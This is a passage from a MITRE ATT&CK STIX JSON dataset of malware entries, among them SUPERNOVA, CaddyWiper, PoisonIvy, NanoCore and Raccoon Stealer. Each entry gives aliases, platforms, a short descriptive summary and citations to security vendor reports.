(2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","type":"malware","created":"2017-05-31T21:32:21.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0028","external_id":"S0028"},{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"SHIPSHAPE","description":"[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cherry Picker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe","type":"malware","created":"2017-05-31T21:33:05.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0107","external_id":"S0107"},{"source_name":"Trustwave Cherry Picker","description":"Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.","url":"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}],"modified":"2020-03-30T15:20:05.298Z","name":"Cherry Picker","description":"[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T23:45:34.261Z","name":"SUPERNOVA","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["SUPERNOVA"],"type":"malware","id":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","created":"2021-02-18T17:35:13.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0578","external_id":"S0578"},{"source_name":"CISA Supernova Jan 2021","description":"CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"},{"source_name":"Guidepoint SUPERNOVA Dec 2020","description":"Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021.","url":"https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/"},{"source_name":"SolarWinds Advisory Dec 2020","description":"SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.","url":"https://www.solarwinds.com/sa-overview/securityadvisory"},{"source_name":"Unit42 SUPERNOVA Dec 2020","description":"Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021.","url":"https://unit42.paloaltonetworks.com/solarstorm-supernova/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-24T19:08:50.637Z","name":"P2P ZeuS","description":"[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["P2P ZeuS","Peer-to-Peer ZeuS","Gameover ZeuS"],"type":"malware","id":"malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85","created":"2017-05-31T21:32:16.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0016","external_id":"S0016"},{"source_name":"Dell P2P ZeuS","description":"SecureWorks. (2012). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.","url":"https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Kivars"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","type":"malware","created":"2020-05-06T18:10:59.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0437","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0437"},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-06-03T20:19:34.935Z","name":"Kivars","description":"[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T15:09:37.646Z","name":"CaddyWiper","description":"[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["CaddyWiper"],"type":"malware","id":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","created":"2022-03-23T20:15:38.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0693","external_id":"S0693"},{"source_name":"ESET CaddyWiper March 2022","description":"ESET. (2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022.","url":"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine"},{"source_name":"Cisco CaddyWiper March 2022","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022.","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-15T22:36:30.074Z","name":"Cyclops Blink","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Cyclops Blink"],"type":"malware","id":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","created":"2022-03-03T15:37:41.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0687","external_id":"S0687"},{"source_name":"Trend Micro Cyclops Blink March 2022","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html"},{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"},{"source_name":"NCSC Cyclops Blink February 2022","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022.","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-19T14:30:03.923Z","name":"PoisonIvy","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_contributors":["Darren Spruell"],"x_mitre_aliases":["PoisonIvy","Breut","Poison Ivy","Darkmoon"],"type":"malware","id":"malware--b42378e0-f147-496f-992a-26a49705395b","created":"2017-05-31T21:32:15.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0012","external_id":"S0012"},{"source_name":"Poison Ivy","description":"(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"PoisonIvy","description":"(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"Breut","description":"(Citation: Novetta-Axiom)"},{"source_name":"Darkmoon","description":"(Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"},{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"Symantec Elderwood Sept 2012","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"},{"source_name":"Symantec Darkmoon Sept 2014","description":"Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.","url":"https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:08:51.818Z","name":"Seasalt","description":"[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Seasalt"],"type":"malware","id":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","created":"2019-01-30T15:27:06.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0345","external_id":"S0345"},{"source_name":"Seasalt","description":"(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"McAfee Oceansalt Oct 2018","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NativeZone"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","type":"malware","created":"2021-08-04T19:36:55.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0637","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0637"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-16T02:03:14.543Z","name":"NativeZone","description":"[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T15:05:04.341Z","name":"NanoCore","description":"[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["NanoCore"],"type":"malware","id":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","created":"2019-01-29T20:05:35.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0336","external_id":"S0336"},{"source_name":"NanoCore","description":"(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)"},{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"},{"source_name":"PaloAlto NanoCore Feb 2016","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/"},{"source_name":"Cofense NanoCore Mar 2018","description":"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/"},{"source_name":"DigiTrust NanoCore Jan 2017","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["TajMahal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","type":"malware","created":"2020-06-08T14:57:32.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0467","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0467"},{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.717Z","name":"TajMahal","description":"[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc.","Hannah Simes, BT Security"],"x_mitre_aliases":["PLEAD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b57f419e-8b12-49d3-886b-145383725dcd","created":"2020-05-06T12:55:10.969Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0435","url":"https://attack.mitre.org/software/S0435"},{"source_name":"Trend Micro PLEAD RTLO","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/","description":"Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"PLEAD","description":"PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO)(Citation: TrendMicro BlackTech June 2017)"},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)","modified":"2022-04-15T11:32:25.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PLEAD","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-11T14:44:53.661Z","name":"Raccoon Stealer","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Catherine Williams, BT Security","Harry Hill, BT Security","Yoshihiro Kori, NEC Corporation"],"x_mitre_aliases":["Raccoon Stealer"],"type":"malware","id":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","created":"2024-08-01T21:53:48.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1148","external_id":"S1148"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T15:20:43.368Z","name":"IPsec Helper","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) is a post-exploitation remote access tool linked to [Agrius](https://attack.mitre.org/groups/G1030) operations. This malware shares significant programming and functional overlaps with [Apostle](https://attack.mitre.org/software/S1133) ransomware, also linked to [Agrius](https://attack.mitre.org/groups/G1030). [IPsec Helper](https://attack.mitre.org/software/S1132) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.(Citation: SentinelOne Agrius 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["IPsec Helper"],"type":"malware","id":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","created":"2024-05-22T19:13:15.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1132","external_id":"S1132"},{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Daserf","Muirim","Nioupale"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0187","external_id":"S0187"},{"source_name":"Daserf","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"source_name":"Muirim","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"source_name":"Nioupale","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","source_name":"Trend Micro Daserf Nov 2017"},{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-30T02:04:21.751Z","name":"Daserf","description":"[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-27T19:50:35.143Z","name":"GoldFinder","description":"[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 